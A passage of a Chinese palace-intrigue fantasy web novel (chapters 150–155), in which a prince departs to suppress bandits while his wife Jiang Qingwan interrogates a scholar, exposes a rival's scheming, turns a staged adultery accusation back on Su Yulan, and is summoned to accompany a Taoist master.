小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!李嬷嬷急的想去捂她的嘴。
“县主慎言啊。”
云筱然气的柳眉倒竖。
“整个风雅筑都是我的人,你怕什么?不行,立刻给我梳妆,我要去见太后问清楚。”
李嬷嬷忙拦下她。
“县主,宫里传来消息,王爷要奉旨去剿匪了,说这些事都是清风寨内藏匿的叛贼所做,老奴觉着,这事儿还没完,您稍安勿躁,现在,您该收拾些东西去为王爷践行。”
云筱然满腔的怒火终于压了压。
王府正殿内。
夜七抱着红狐狸,一脸的生不如死。
一人一狐还在较着劲儿,一个想挣脱,一个不准挣脱,夜七还不能下死手,脑门上都急冒了汗。
“王爷,王妃呢,这东西属下实在看不住。”
墨云寒看了眼小红。
“它自己会去找,放开吧。”
夜七如获大赦,立刻松手,还没松口气,就被狐狸爪子一把挠在了脸上。
虽不怎么疼,却偏偏是最显眼的鼻梁处,三道痕迹,不轻不重,绝对滑稽招笑。
“你这小畜生!”
夜七气的跳脚,眨眼的功夫,却哪里还有红狐狸的影子。
墨云寒眸光微闪。
刚刚那狐狸的动作快如闪电,绝非一般兽类能够做到。
不过眼下,他并没有时间去想。
“金钩弯刀的破解之法,洛九有消息了吗?”
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第150章 践行
夜七摇头。
“属下去过,看护的小童说老洛闭关,谁都不见,每日只让小童在门口放下吃食,不准打扰。也不知是谁有这般本事,改造的金钩弯刀能让老洛这般头疼。”
他忽又想起什么,
“对了王爷,您还记得之前给过老洛战车图纸的人吗?若是能找到此人,是不是就能解了这弯刀的秘密?”
墨云寒眸色微冷,
“现如今再找人怕是来不及了。”
他抬手招了招,等夜七靠近,俯身低语了几句。
夜七眸色一凛,立刻拱手离开。
舒雅院内,宋玉书已经问清楚了所有事情,让小厮将郑成业给叫了过来,上去就是一脚。
她虽不是武将,但也会些手脚功夫,力气也不小。
这一脚踹的郑成业整个人都飞了出去,狠狠的撞在了门上,疼的差点哭出来。
“母亲!”
“你别叫我!”
宋玉书气的肺都要炸了。
她千想万想也没有想到,自己精心教养的儿子,竟然能干出这种事来。
“说谎骗人,差点连累王府上百条人命,你是眼瞎还是心盲,我说过不准你再插手王府的事情,好好读书,你这圣贤书都读到了狗肚子里吗?”
墨青蕊赶紧拉她坐下。
“姐姐,成业还小,你这一脚踹坏了还不是自己心疼。江妹子若怨你,还会登你的门吗?”
宋玉书气的胸口剧烈起伏。
指着郑成业骂道,“给我跪好!等你父亲回京,知晓了你干的这些混账事,看他不打烂你的腿。”
郑成业不敢忤逆母亲,规规矩矩跪在了门口,眼神却很不爽的瞪了江清婉一眼,小声嘀咕,
“我犯的错,我表哥已经替我受了,你这女人竟然还来告状!”
他话刚说完,一个滚烫的茶盏就砸了过来。
好在他躲得及时才没有被砸到脑袋。
宋玉书拉着墨青蕊的手气的浑身都在抖。
“你听听,你听听他说的这话,可有半点悔过之意。”
“若不是云寒生受了那三十鞭,他还能活?”
“到了现在,一点惧怕都没有,做错了事,污蔑了清婉,他连句道歉都没有,你说我怎么生出这种混账东西。”
墨青蕊赶紧帮她顺气,同时看向郑成业。
“还不去给你表嫂道歉?你要将你母亲气病不成?”
郑成业虽心有不甘,却还是跪着转了方向,冲着江清婉磕了个头,硬邦邦的说了句,
“我错了,请你原谅。”
江清婉看着他淡淡问道,“是你自己想到要去护国寺的吗?”
郑成业觉得丢脸,抿着嘴不作答。
宋玉书气的又想找东西砸他,看了一圈没找到,只能怒喝,“你好好待在太学院,怎么会突然跑去护国寺,是谁让你去的?”
墨青蕊也觉奇怪。
“我夫君说太学院戒律司最近管的极严苛,若非要事请假,不准外出,连他这两日都宿在了太学院里。成业,你不是那种会不顾学业肆意乱跑的孩子,这到底怎么回事啊?”
被连番问询,郑成业只好交代。
“我怀疑那张护身符有问题,在太学院内翻阅古书的时候碰到了夏宇,他说护国寺的方丈很有本事,我这才偷跑去的。我就是想找出这女人蛊惑人心的证据!”
宋玉书气的咬牙。
“为娘的话你是半句都没有听进心里,你真是要气死我。”
墨青蕊却皱眉问道,“夏宇?可是言官夏世辉家的孩子?”
正在气头上的宋玉书也敏锐的察觉到不对。
“言官?难道……”
她跟墨青蕊对视一眼,心里皆是一惊。
江清婉也已经想起了这个夏宇是谁。
她站起身道,“事情既已明了,也莫要罚他了。我还有事,先告辞。”
墨青蕊急忙叫住她。
“江妹子,安安她们几个还在等你。”
江清婉回头福了福身。
“劳郡主替我带个话,诸位姐妹的情意,清婉记下了。”
这时门外有侍卫前来。
“王妃,王爷请您去正殿一趟。”
“我没空。”
江清婉摆摆手径直往前走,侍卫被噎的愣在当场,回过神来赶紧追了几步。
“王妃,王爷传令小人不能不从,您还是亲自回了王爷吧,莫要为难小人。”
看着他身上的铠甲,应是府兵。
江清婉想了想只得随他前往。
前厅院子内,已经站了几十卫兵,皆是全副铠甲,墨云寒也已经换上战袍,红色披风如血般热烈。
映着他那张俊美绝伦的脸,在悬挂的朝阳下当真如天神一般。
江清婉的心漏跳了半拍,正要上前,忽觉胸口一滞,右侧的眼睛迅速挑了几下,整个人慌得厉害。
一种极不好的预感骤然袭来。
她下意识想抬指掐算,却又急急停下。
她接了墨云寒递来的赐婚诏书,就不能再掐算墨云寒的未来。
如这五年,因赤玉符箓她病了几次,却没有一次敢去卜卦秦明朗的生死。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!晃神间墨云寒已经走了过来。
“傻站在这里不动做什么?你夫君要出征,虽路程不算远,你这个夫人也给为亲手为夫君整理行囊送行至门口。”
他话音刚落,云筱然就娇声道,“江姐姐曾送秦将军出征,这些礼数应当极为熟悉,怎的还会误了时辰。”
站在院子里的兵将,都是墨云寒的亲卫。
三人之间的事,往常他们都是看个热闹。
像江清婉这般漂亮的小娇娘,给他们王爷做个暖房的妾室,哪怕是做个侧妃,他们都能欣然接受。
可一道赐婚的圣旨下来,江清婉却成了九王府的正妃。
一个下堂妇,一个毫无家世背景的下堂妇,竟成了王爷将来所有子嗣的嫡母。
这对满腔抱负的所有人来讲,都难以接受。
如今当场被云筱然提及,众人脸上都不好看。
江清婉完全没有听见云筱然的挑衅,她着急的一把攥住墨云寒的手腕。
“你能不去吗?”
其中一个将士冷哼一声。
“王妃,您是要王爷公然抗旨吗?我们不求您帮上王爷,但还请您将眼界放开,莫要拖累王爷。”
“闭嘴!”
墨云寒冷冷扫视一眼,轻柔的揽过江清婉,“她是本王亲自选的王妃,便是你们的主母,再有不尊,军法处置!”
云筱然看着这一幕,嫉恨的银牙都快咬碎了。
这等荣耀,本应是她的。
“云寒哥哥,众位将士都是跟随你南征北战的铁血男儿,心中自有家国大业,看不惯小女儿家的纠缠也属正常,出征在即,万不可寒了将士们的心。”
她说着又上前去拉江清婉。
“江姐姐,你平日怎么任性都行,可现在不是儿女私情的时候,你快些……”
她手上故意用了力。
江清婉本就在想事情,吃痛后下意识甩开。
云筱然“啊”的一声惨叫,直接跌倒在地。
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第151章 冷硬绝情
以往,墨云寒身边唯一的女人就是云筱然。
虽二人不曾有过亲密关系,但是在许多亲卫眼里,云筱然是特殊的。
曾被他们当做未来的主母看待。
如今不仅沦落成姨娘,还被人这般欺辱。
有个耿直的汉子忍不住喊道,“王爷,王妃如此善妒,您得管管。”
云筱然也楚楚可怜的抬头看着墨云寒。
“云寒哥哥,筱然的脚好疼。”
墨云寒却神色淡淡。
“风雅筑的下人何在?听不到你们姨娘说脚疼吗?”
李嬷嬷忙应了一声,和另一个丫鬟一起过去搀扶。
被当场冷待,云筱然的脸色异常难看,心有不甘的继续劝着,
“江姐姐,等王爷走了,你想怎么罚我都可以,为何非要当着众将士的面闹成这般来动摇军心,你到底存了什么……”
“啪!”
一记响亮的巴掌狠狠的抽了过来。
所有人都没有预料到,齐刷刷全看向江清婉,神色各异。
那个耿直的将士急喝。
“王爷,您不是一直都护着云县主吗?为何现在让人如此欺凌?”
妖妇害人的事,虽最终没有定论,可也传出不少消息。
如今墨云寒的作为,更让众人都觉得,是不是真的被妖妇所惑,迷了心智。
眼见将士骚动,江清婉却视若无睹,而是转头看向楚楚可怜的云筱然,冷冷开口,
“到底是谁在动摇军心?从我出现,你便一再言语挑唆。你一个小小的姨娘,谁给你的资格为王爷践行。”
她说着撸起刚刚被云筱然攥住的袖子。
雪白的手臂上赫然是清晰的掐痕。
最中心的位置已经青紫,可见力道之大。
“你借故拉我,却对我暗下毒手,我失手甩开,你又倒在地上哭喊装可怜。云筱然,你好歹也是大周的县主,教养在太后膝下,行事作风还不如我这个下堂妇干脆利索。你若真要与我为敌,直接来便是,用这等蝇营狗苟的卑劣手段,令人不耻。”
本还骚动的将士们瞬间哑口。
他们不同于普通人,常年打打杀杀,对这些伤一眼便能洞穿是如何造成的。
墨云寒攥住那截手臂,眉心死死皱着。
“来人,云姨娘残害王妃,杖十。”
云筱然大惊,
“云寒哥哥,我没有故意掐她,我只是想拉她过来,不想她缠着你耽误了政务,许是手上没控制好,力气大了些。”
李嬷嬷也赶紧跪在地上。
“王爷,县主对您情根深种,一心为您,更是太后亲赐给您的姨娘,十杖下去,要丢了半条命的,求王爷开恩啊。”
江清婉将袖子拉下,此刻并不愿计较这些。
“墨云寒,我有话跟你说,让他们都退下。”
墨云寒鲜少见她慌乱,心中微动,手臂滑下牵住她往外走。
“边走边说吧,圣旨已下,秦将军就在门外等着。”
众将士分列两旁候着,墨云寒走出几步又停了一下。
“还不行刑?”
此言一出,云筱然吓得再次跌坐在地上。
“云寒哥哥,云寒哥哥……”
所有亲卫全部跟着走了,留下的府兵不敢不从,为首的立刻叫来小厮,亲自取了刑杖。
“云姨娘,得罪了。”
凄厉的惨叫声传进江清婉的耳朵里,她的身体僵了僵,本就凌乱的心绪更加凌乱。
这时身侧传来墨云寒低沉的声音,平静无波。
“她杀了云杳杳,我不会让她这么轻易的死去。”
伴随着更为凄厉的喊声,这句话让江清婉第一次见识到墨云寒的本心。
冷硬绝情,残暴狠厉。
一如外界传闻那般,宛若煞神。
她正晃神,墨云寒忽地将她抱进了怀里。
“夫人莫要担心,为夫很快就会回来,乖乖等我。”
说话间,温热的唇落在了她的耳尖。
激的江清婉猛地缩了一下将她推开,粉白的小脸已经涨得通红,正要说什么,一转头看到秦明朗骑在高头大马上正一脸幽怨的看着这边。
宛若怨妇。
江清婉瞬间被墨云寒的幼稚行为搞得无语,心跳的悸动也随之平复。
“夫人没有什么要对为夫说的吗?”
男人带着薄茧的手指勾起她耳边的碎发,顺势将她的小脸摆正。
江清婉忍着一巴掌拍过去的冲动低声道,“此次剿匪会有意外,你多多注意,凡事留步后路,明白吗?”
她没法卜卦,只能说出自己的大体感受。
墨云寒眸光闪了闪。
“好,为夫记下了。”
他微微俯下身,鼻尖几乎碰过来。
温热的气息纠缠着,暧昧撩拨。
江清婉灵动的眸子瞪着他,用只有两个人能听见的声音警告。
“你不要太过分。”
墨云寒倒也没再继续,指尖蹭过她的下巴,音色低沉。
“等我回来。”
说罢大步走出府门,翻身骑上猎鹰,慵懒开口,
“秦将军,走吧!”
秦明朗似有千言万语要说,却实在场合不对。
却无声的也冲着站在府门内的江清婉说了句。
“等我回来。”
江清婉根本没注意到。
她正看着浩浩荡荡离开的队伍,心里的不安越来越强烈。
等所有人都离开,青穗出现在街对面。
她不知站了多久,目光也刚从离开的队伍中收回,看到江清婉后,立刻走了过来,眼底还带着疲惫的青色,似乎很久没有好好睡一觉。
“小姐。”
江清婉回神看向她,“你怎么没在府中?”
“我去盯着秦明朗了。”
青穗不着痕迹的打量着江清婉,她盛装华贵,脸色红润,显然没有在宫中受伤。
江清婉想起从她的院子里搜出来的干尸,眸色微冷,“操控黑鸦的人可曾出现?”
青穗摇摇头。
“没有。他是跟随太后去的皇宫,出宫后便在县主府养伤,期间没有一只乌鸦出现,也没有什么奇怪的人,不过今日未到辰时,有跑腿的小厮送了个匣子入府,距离太远,我看不清里面是什么,好像是几页纸,画这些图,我问过那小厮,并不知道是何人所送。”
江清婉没多想。
若是剿匪失败,秦明朗也讨不到好处,应不会在这期间动手脚。
问题应出现在外因上。
“你回去休息吧,我出府一趟。”
青穗立刻跟上。
“我不需要休息,但你要不要去换身衣服。”
江清婉这才想起自己满身满头都戴着珠翠金饰,身上也穿着繁重的宫服。
她没有折返回府,而是转去小巷子直接回了后院换了身利索的便服,跟莲儿和李斗说了一声带着青穗很着急的出了门。
第152章 与苏家有关
风雅筑正堂的屋脊上,
小红踏碎了瓦片,找到了藏匿在其上的符箓,得意的咬进嘴里嚼吧嚼吧吃了,还意犹未尽的舔了舔舌头。
它常年在祁连山上流窜。
这种沾染了灵力的符箓,对它来说,算是一种美味的小点心。
它耸了耸鼻子,又嗅到了些味道,飞跃而下冲进了云筱然的寝卧,一头扎进了床底。
这时一众下人扶着脸色惨白的云筱然颤巍巍地走了进来。
整整十杖,虽然后面侍卫收了些力气,可也没敢减少数量。
她现在屁股和大腿都在往外渗血。
“该死的江清婉,总有一天我要扒了她的皮!哎呦,狗东西,轻着点扶。”
眼看着快要到床榻,小红忽然从里面猛窜出来,朝着她的面门扑了过去。
呲着牙流着涎液,在云筱然惊呼声中一爪子挠在她脸上,左右开弓,留下十几道血痕扭扭屁股后扬长而去。
房间内一阵兵荒马乱。
云筱然被扑倒,伤口狠狠撞在地上,疼的惨叫声都快尖成了太监。
等被扶起来想抓始作俑者的时候,哪里还有红狐狸的影子。
“该死的畜生,去给我找,谁找到赏百两,我要活扒下它的狐狸皮做披风。”
丫鬟小厮乌压压全都散去,只剩下李嬷嬷扶着她趴在了床上。
“县主,老奴给您上药。”
云筱然恨得咬牙切齿。
“你打听清楚了吗?王爷这一次要几天回来?”
李嬷嬷想了想道,“加上来回脚程,就算顺利的话也要七八天。”
云筱然眼底闪过狠厉。
“你去把张嬷嬷的死因告诉他儿子,就说本县主体恤他丧母之痛,又被悔婚,给他在王府内安排个差事做工。”
李嬷嬷瞬间明白。
“是。”
……
青穗驾着马车刚出长安区,就碰到了骑着马往这边飞奔的郭浩。
风流倜傥的小侯爷,这会儿头发都是乱的,衣襟也绑的乱七八糟,甚至下巴上都冒了青色的胡茬。
擦肩而过时,他一眼瞥见了青穗,立刻拽住缰绳掉头追了两步。
“江娘子可在车内?”
听到声音,江清婉掀开侧面的布帘看过来。
见他这般模样不由问道,“又出事了?”
小侯爷见江清婉面色红润,神色淡然,顿时委屈的红了眼眶,不管不顾丢了马就往马车上爬。
青穗拎着他的脖领子给拽了下来。
“找揍啊,娘子的马车你也敢钻?”
郭浩急的手脚并用的挣扎,一边挣扎一边喊,“我这几日都快急死了,现在一肚子话要跟娘子说,你快放开我让我进去。”
长安区附近虽闲杂人不多,可也不是没人。
江清婉想起要做的事情,说道,“青穗,让他上车吧。”
青穗虽觉得不合礼数,可习惯性服从让她没犹豫就松了手。
郭浩如获大赦,猴子般窜了进去。
动作太大,整个马车都跟着晃动起来。
这一幕正好被不远处准备出门的苏玉兰看了个真真切切。
“好大的贼胆,墨云寒刚出征,这个小贱人就迫不及待的勾引男人,真是浪荡下贱。”
春梅也瞧见了,低声附和道,“县主,要不要派人拦下来当街揭穿,让她丢尽脸面。”
说话间,青穗已经驾车离开。
苏玉兰哪里舍得放过这看戏的机会,当即上了马车跟了上去。
郭浩攥着江清婉的袖子喋喋不休的说了这几日跟自家老爹斗智斗勇的悲惨经历,说到愤慨之处,气的哐哐捶腿。
“你与我有恩,你出了事,我帮你说句话不是理所应当的吗?我爹还堂堂武侯,越老越胆小,竟然让人把我关了起来,连太学院都不许我去,你不知道我担心你担心的茶不思饭不想,还好你没事,否则我定然这辈子都心中难安。”
江清婉将自己的袖子抽了回来。
虽觉聒噪吵闹,却也觉得有几分暖心。
她理了理袖子冲郭浩拱了拱手。
“多谢小侯爷挂念。”
“你干什么?”
郭浩一脸惊悚,忽地凑近伸手想摸她的额头,“你被人夺舍了?”
下一刻就被啪的一声打开。
火辣辣的疼却让郭浩嘿嘿笑出了声。
“这才对嘛,突然那么客气,我都不习惯了。”
他懒散的靠在车厢上,长长的呼出一口气。
“我虽不愿你嫁给那煞神,不过这一次,他肯护着你,我便勉强同意了吧。”
江清婉听着他无厘头的话轻轻摇了摇头,转开了话题。
“我有一事请你帮忙。”
郭浩立刻来了精神。
“你说,上刀山下火海,我眼睛都不会眨一下。”
……
半个时辰后,
太学院外不远处的一处空置的宅院中。
青穗飞身跃入,将扛在肩上的麻袋狠狠丢在了地上。
郭浩扶了扶脸上的鬼面具,抡起手里捡来的粗柳条就开始抽。
抽的那叫一个落花流水。
麻袋里的人惨叫着挣扎求饶,疼的在地上来回翻滚。
郭浩抽爽了,才弯腰将麻袋的束口解开。
被抽的满脸淤痕的夏宇从里面钻了出来,贪婪的大口大口喘着粗气。
郭浩抬手一巴掌呼在他脸上。
“就是你坏了老子的好事吧。”
夏宇本就是个手无缚鸡之力的书生,看到郭浩脸上青面獠牙的鬼面具后吓的连连后退。
“你……你是何人?京城重地胆敢绑架朝臣之子,你……你不要命了吗?”
隔着面具,郭浩的声音压得很低,阴森森的,说话时猛地从腰间抽出明晃晃的匕首狠狠拍在了夏宇的脸上。
“护国寺袭杀太后的事本来天衣无缝,可你竟然指使九王府的小子前去护国寺,引来官兵围剿,导致我的计划全盘失败,狗东西,你好大的狗胆啊!”
尖锐的刀刃微微侧了侧,一个用力就能隔断喉咙。
夏宇吓得大气都不敢喘。
“好汉……好汉你误会了,我真不知道太后去了护国寺,巧合,纯属巧合!”
“放屁,你当老子傻吗?”
郭浩一喊,声音差点露馅,又赶紧低咳一声一脚踹在了夏宇的肚子上。
“事到如今还不老实交代,姓郑的那小子有九王罩着,我暂时拿他不得,杀你,却是毫不费力。”
他高举起手里的匕首就要刺。
夏宇吓得心都快跳出来了,闭着眼大喊,
“你不能动我,我可是苏王爷的人,你敢伤我,苏王爷和我爹一定会追杀你的!”
郭浩愣住,躲在房内的江清婉推门走了出来。
“刺杀太后与苏家有关?”
第153章 捉奸
夏宇认出江清婉,表情呆滞,又似想到什么,迅速转头看向戴着鬼面具的人。
郭浩顺势将面具扯下,笑的又贱又痞。
“柳条抽的舒服吗?有没有吓尿裤子?”
夏宇夹紧双腿,腿间的凉意让他气的暴跳如雷。
“郭浩你个混账王八蛋,我……”
发狠的话还没说完,就被郭浩手中的匕首抵在了嘴上。
“前几天在我身边当孙子,我还以为你真的要跟我交好,没想到憋着这么多坏心眼子,跟你那个当言官只会胡说八道的爹一样是黑心肝,赶紧交代清楚,要不然,爷爷割了你的舌头。”
面对郭浩的威胁,夏宇不似先前那么紧张。
他冷哼一声,“你敢动我,我爹绕不了你。别以为我不知道,上一次苏家丢东西的事,就是你爹让你干的。你爹早就投奔了九王,想要谋害苏王爷,还好王爷英名识破了你们的奸计……”
江清婉忽地打断他。
“所以,你引导郑成业去护国寺就是帮苏巍川算计九王府?”
夏宇下意识差点将真相脱口而出,忽又想起父亲夏世辉的交代,立刻死死抿住了嘴。
见他不说,郭浩又想揍他。
江清婉却走上前俯身靠近,一张绝美的小脸,冷若冰霜,那双漂亮的眸子里,却似隐着神秘的力量。
“夏公子,你应该知道,我精通玄门道法,有无数种方式让你神魂失常,吐露所有真相,只是让小侯爷抽你一顿,是念在你年少无知,被人蛊惑利用,既然你不愿说,那我也不必跟你废话。”
她抬起手,食指缓缓抵在夏宇的额头。
夏宇早就查过江清婉的本事,那日画舫中,江清婉除色鬼的事,很多人都看见了,传的异常惊悚邪门。
他心中本就惊惧,随着指尖落在他额头,他瞬间感觉到一股凉意往皮下钻,有一种灵魂被抽离身体的错觉。
他霎时慌了。
“是……是苏王爷让我监视郭浩身边的异常,我只负责收集信息交给我爹,郑成业去护国寺的事,是我爹让我说的!”
他语速极快的脱口而出。
江清婉能调动的灵力也已经枯竭,脸色苍白的收回手。
黑鸦曾袭击过苏巍川的佛心堂,也就是说,苏巍川早就知道黑鸦与大隋余孽有关。
设计让郑成业去护国寺是为了算计墨云寒。
秦明朗去救太后应是黑鸦的主人所授意,所以在护国寺中,并没有出现黑鸦。
黑鸦的目的,从始至终都不是太后,而是皇陵。
可苏巍川是怎么知道这一切的?
她又想起了兵部的记载,苏巍川以天门阵法大破大隋的机关营,还有藏匿在王府后院的那具干尸。
如果苏巍川身边有一个玄门高手,这一切便就说的通了。
可他到底什么目的?
杀了墨云寒吗?
可这诸多事情,却并不是最佳的方法,倒有些像是在挑拨皇室内斗?
她正百思不得其解,青穗悄无声息的落在她身后俯身低语。
“苏玉兰煽动了不少人往这边来,吆喝着有太学院学子与人偷情。”
江清婉愣住。
转头看了看地上的夏宇。
“你抓他过来的时候被人看到了?”
青穗立刻扬起脖子,“不可能。”
她的能力,绝不容置疑。
一旁的郭浩忽地戳了戳她的肩膀。
“会不会说的咱俩?”
江清婉噎住。
郭浩的确是在大街上上的她的马车,还嚷嚷了半天,被人听到也不足为奇。
青穗握住她的手腕。
“我先带你离开,妖妇害人的传闻还没消停,若再出点乱子,王爷又不在,恐怕不好收场。”
郭浩顿时气的一瞪眼。
“这苏玉兰也不是个什么好东西,苏家算计咱们的事,她肯定也参与了,要不然秦明朗那渣滓怎么可能那么巧的去救了太后。想捉奸是吧,我让他们好好捉。”
……
苏玉兰看到门口停的马车,心中大喜。
这个小贱蹄子,以为找个偏僻的无人居住的宅子就没人能发现了?
她特意耽误了点时间,就是让春梅去找了几个天桥下说书的秀才。
今日之后,整个京城的人都会知道江清婉是个人尽可夫的骚货。
眼见着春梅已经带着人过来,她立刻退到巷子里等着看戏,下一刻忽觉一阵劲风拂过,她还未反应过来,人就已经落在了庭院内,手里还多了一根柳条。
她完全不知道发生了什么事,忽觉腰间束带一松,身上的外衫被一道黑影扒去。
白花花的肩膀和半截后背都露了出来。
惊呼声和踹门声几乎同时响起。
春梅无比满意身后所有人瞪大了眼睛的惊诧模样,故意大声吆喝
“大家快来看看,这对败坏风气的狗男女,竟然在太学院外偷情,青天白日,朗朗乾坤,简直有辱斯文。”
有人认出地上被抽的衣服大敞,只剩下一条内裤,表情呆滞,似回味似享受的夏宇。
“那不是夏大人家的公子吗?听闻是个品学兼优的才子,人称清雅居士,没想到背地玩得这么花啊。”
春梅怔了怔,迅速回头去看。
院子里衣衫不整的男女,哪里是小侯爷和江清婉。
分明是自家县主和一个外男啊。
她吓得呆愣当场。
苏玉兰也已经回过神来,惊慌失措的捂住胸口指着院门口怒喝。
“滚,都给我滚!”
她忘记手里还被塞了一根柳条,如今这架势,越发显得是被人打断了好事后的泼辣风骚。
此刻院门大开,看热闹的不光是春梅叫来的那几个说书秀才,更多的是跟着她一路吆喝来看热闹的百姓,乌泱泱全议论开了。
“太不要脸了,没隔多远就是太学院啊,他们竟然敢在此白日宣淫,简直是侮辱了太学院的门楣。”
“这女子怎么有些熟悉?难不成是烟花妓子?”
“什么烟花妓子啊,这不是苏家那位县主吗?前段时间跟抢了别人的夫君,还将那位姓江的娘子赶出了家门。”
“哎呀,你说的是九王爷强抢民妇的那位江娘子吗?我原以为是那江娘子浪荡不堪,没想到是这苏县主娇淫跋扈。”
“若那江娘子不好,人家九王爷能求了旨娶为正妃吗?倒是这位苏县主,抢了别人的夫君还不满意,竟然当街跟俊俏书生玩的这么激烈,想必这些年在外面养了多少面首。”
“贱蹄子,不要脸!”
“呸!”
混在在其中的不少妇女,恨不得用唾沫星子淹死她。
第154章 法师白硕
苏玉兰急的怒喝,“春梅,你是死人吗?”
春梅这才回过神来,奋力的往外撵人,单凭她自己,哪里能撵的动。
她没法子,又赶紧折返回来,挡在了裸露的苏玉兰面前。
“你们别看了,赶紧走,得罪了县主府,你们想掉脑袋吗?”
人群里响起男人的哄笑。
“是你吆喝着让我们来看的,现在又说要治我们的罪,天子脚下,不顾礼义廉耻的是你们,与我们何干?”
“就是,明明是你家县主觉得一个人玩不尽兴,招我们来围观欣赏,莫不是嫌我们没有拍手叫好?”
来凑这种热闹的,除了碎嘴子,就是街上流窜的纨绔,说起荤话来哪有重样的。
眼见事态越发失控,苏玉兰又急又羞,扯下春梅的外衫裹在身上,狼狈的往人群外挤,这期间不知被多少男人摸了胸掐了腰,吆喝声更是不绝于耳。
她根本挤不出去,反倒被几个胆大的男人起哄着压在了门上。
甚至有人顺着裙摆摸到了她的大腿根。
幸好有巡逻的一队士兵经过,这才让那群看热闹的纷纷散开。
她衣衫不整的狼狈模样却已经全被看了去。
院门关上,苏玉兰一肚子气没处发,抬手疯狂的扇了春梅好几巴掌,扇的她一张脸都肿成了猪头。
春梅不敢反抗,跪在地上哭。
“县主,奴婢真的不知道里面是您,咱们定然是被江清婉那个贱人给算计了。”
“还用你说!”
苏玉兰怒骂,忽地回头看向瘫坐在地上的夏宇。
当即冲过去啪啪甩了两巴掌。
“说,你为什么会在这里?江清婉和郭浩又去了哪里?”
神游天外的夏宇只觉脑袋里有根弦砰的一声断了。
一段记忆瞬间冲了出来。
他哦的一声猛地窜了起来,“郭浩,我就知道是你!”
苏玉兰被他的举动吓了一跳。
“你在说什么?”
夏宇回神,看到衣衫不整的苏玉兰也吓了一跳。
刚刚江清婉输入他眉心的灵气,正好撞碎了之前残留的符箓力量,所以刚刚,他根本什么都没有听见,也不知发生了何事。
还以为只是过了一眨眼的功夫。
他涨红了脸往后躲,礼义廉耻让他根本不敢往苏玉兰身上看,仓皇着行了个礼,一低头却瞥见自己全身上下就只剩了条内裤。
他嗷嗷叫着抓起地上的衣服往身上套。
“苏县主,虽然我长得俊俏,又有才子之名,可你也不能对我做这种事情啊。”
他忽又想起什么,顿时气的跳脚。
定然是江清婉又对他用了妖术,然后故意引来苏玉兰与他行不轨之事,挑唆他与苏王爷的关系。
不过他已经记起那日在苏府发生的事,江清婉和郭浩都得死。
他裹紧衣服又冲着苏玉兰微微拱了拱手。
“苏县主,家父与我都在为你祖父做事,你若想寻乐子,请找别人吧。”
说完,他头也不回的走了。
苏玉兰噎了个半死,却敏锐的听出异常。
夏家在给祖父办事?
若是如此,郭浩和江清婉抓他过来严刑拷打,难道是要对付祖父?
还真是不知死活!
只要夏宇去告状,今日之事,所有罪责都会扣在威远候府和九王府的头上。
祖父那般在意苏家颜面,定然不会轻饶。
“春梅,回府。”
春梅赶紧从地上爬起来,“县主,此事怕会闹出不少流言,我们要不要做点什么?”
苏玉兰冷笑。
“江清婉那个贱人不就仗着有九王这个靠山吗?这次剿匪,他能不能回来还未可知。一个乡野村姑,竟然跟威远候府勾结,搅合到朝堂内斗中,我看她这次怎么死。”
……
郭浩并没有再跟着江清婉。
他要赶回侯府跟自家老爹提前说一声,早做防范。
马车内,江清婉一直沉默着想事情。
行至半路,她掀开帘子叫住青穗。
“墨云寒有没有搜集各路消息的地方?”
青穗怔住。
“你想知道什么?”
江清婉道,“我想知道苏巍川这个人的生平,越详细越好,能查到吗?”
苏巍川在大周,名声赫赫。
传闻多不胜数,可哪些是真哪些是假,却早就无人追溯。
真要去细查,并不是一件容易的事情。
“我尽力去查,王妃什么时候要?”
“越快越好。”
江清婉总觉得有些事,就在她眼前蒙着一层纱,却是怎么也看不清楚。
青穗点点头,继续驾车前行。
马车刚回到王府后院的巷子,就看到一辆纯黑色的马车停在门口。
马车的车顶上,盘着金龙帽扣,除此之外,再无任何装饰。
听到她们的马车声,养心殿的老太监从车后走来,微微躬身行礼拦下了他们的车。
江清婉掀开车帘,抬眸看了看那辆黑色的马车。
原以为里面坐着太上皇,却不想老太监走近两步道,“王妃,老奴奉太上皇口谕,来接您,请移步上车吧。”
江清婉沉思片刻并没有拒绝反抗。
入过宫后,很多事变得身不由己。
如今墨云寒不在京城,她的修为又消耗的所剩无几,也只能走一步看一步。
“青穗,去找夜七,我养的红狐狸在他那里,让他送去后院交给莲儿照料。”
青穗应下,抬起手臂扶着她下了马车,又目送她上了那辆黑色的马车,这才转身离开。
黑色马车碾过长街,却并没有转去皇宫的方向,反而朝着城外而去。
江清婉察觉出异常,本要问问,可一想,若是太上皇想杀她,就不会派他的心腹太监来接她。
她压下心头疑虑,没做任何行动。
驾车的老太监回头看了一眼,眼底不由滑过一抹欣赏。
怪不得能得太上皇的青睐。
这性子,沉稳的比宫中那几位深藏不露的贵人都不差。
又行了好一会儿,马车出了城门,停在了一处僻静的矮坡前。
“王妃,您可以下来了。”
江清婉掀开帘子,意外的瞥见不远处燕云青一身铠甲骑在高头大马上,正森然的往这边看。
几十人的御林军押送着一辆宽敞的马车就停在那边。
那马车可容七八人,周围并没有用木板钉住,而是围着灰色的帏幔,随风轻轻飘荡。
隐约可见里面只坐着一人,白发如雪,身着淡蓝道袍,黑金色的面具在阳光下熠熠生辉。
江清婉想起那日在宫中遇到的鬼面。
“公公,马车内坐着的是谁?”
老太监躬着身解释。
“法师白硕,是皇上和太后请来前往玄灵山修复九龙阵的玄门高人。太上皇对此事极为重视,特下口谕准你同行。”
第155章 被捉
江清婉心头微动。
太上皇这是怕皇上和太后动手脚吗?
也好,她正好奇皇陵中到底藏着什么宝贝。
她冲着老太监微微福了福身。
“若当日不能回,还请公公去王府传话说一声。”
“是!”
老太监亲自带着她去见了燕云青。
“燕统领,太上皇有令,务必保护好九王妃的安全,有劳了。”
燕云青冷冷瞥了江清婉一眼。
“皇上忧心此事,命我等务必尽快赶去玄灵山,路途颠簸,请王妃上车吧。”
江清婉微微颔首算作打了招呼,随即径直走向马车,踩着脚凳走了上去。
马车上铺着柔软的毛毯,中间放着茶盏果盘,除此之外还有个黑色的匣子,被一个奇怪的锁锁着。
那锁虽看上去机关复杂,解起来却并不麻烦。
她多看了两眼,马车骤然行驶,让她的身形不由晃了晃,险些一头栽倒,忙就地坐下,和白硕正好东西角斜对着。
似察觉到她的审视,白硕缓缓睁开了双眸,那双眼睛却并不是红色的。
江清婉心头一怔,目光不由落在白硕的胸口。
那晚她记得,鬼面的胸口融了一个神秘的法器。
不知是不是她修为枯竭,此刻却是什么都没有看到。
